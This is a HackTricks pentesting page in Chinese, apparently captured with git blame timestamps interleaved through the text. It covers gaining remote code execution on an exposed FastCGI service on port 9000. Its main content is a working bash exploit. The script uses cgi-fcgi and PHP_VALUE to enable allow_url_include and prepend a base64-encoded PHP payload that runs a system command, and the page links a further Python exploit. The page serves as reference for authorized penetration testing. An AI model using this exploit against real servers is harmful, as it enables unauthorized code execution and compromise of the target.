2022-04-28 16:01:33 +00:00
< details >
2024-01-05 23:03:10 +00:00
< summary > < strong > 从零到英雄学习AWS黑客攻击, 通过< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
# 基本信息
2021-01-06 17:11:57 +00:00
2024-01-05 23:03:10 +00:00
如果您想了解什么是FastCGI, 请查看以下页面:
2021-01-06 17:11:57 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
2021-11-30 16:46:07 +00:00
[disable\_functions-bypass-php-fpm-fastcgi.md ](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-01-06 17:11:57 +00:00
2024-01-05 23:03:10 +00:00
默认情况下,**FastCGI**运行在**端口** **9000**上, 并且不被nmap识别。**通常**FastCGI只在**localhost**监听。
2021-01-06 17:11:57 +00:00
2022-05-01 12:49:36 +00:00
# RCE
2021-01-06 17:11:57 +00:00
2024-01-05 23:03:10 +00:00
让FastCGI执行任意代码相当容易:
2021-01-06 17:11:57 +00:00
```bash
#!/bin/bash
PAYLOAD="< ?php echo '<!-- '; system('whoami'); echo ' --> ';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
2023-08-03 19:12:22 +00:00
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 & > $OUTPUT
2021-01-06 17:11:57 +00:00
2023-08-03 19:12:22 +00:00
cat $OUTPUT
2021-01-06 17:11:57 +00:00
done
```
2024-01-05 23:03:10 +00:00
```markdown
2023-08-03 19:12:22 +00:00
或者您也可以使用以下Python脚本: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
2022-04-28 16:01:33 +00:00
< details >
2024-01-05 23:03:10 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-01-05 23:03:10 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-01-05 23:03:10 +00:00
```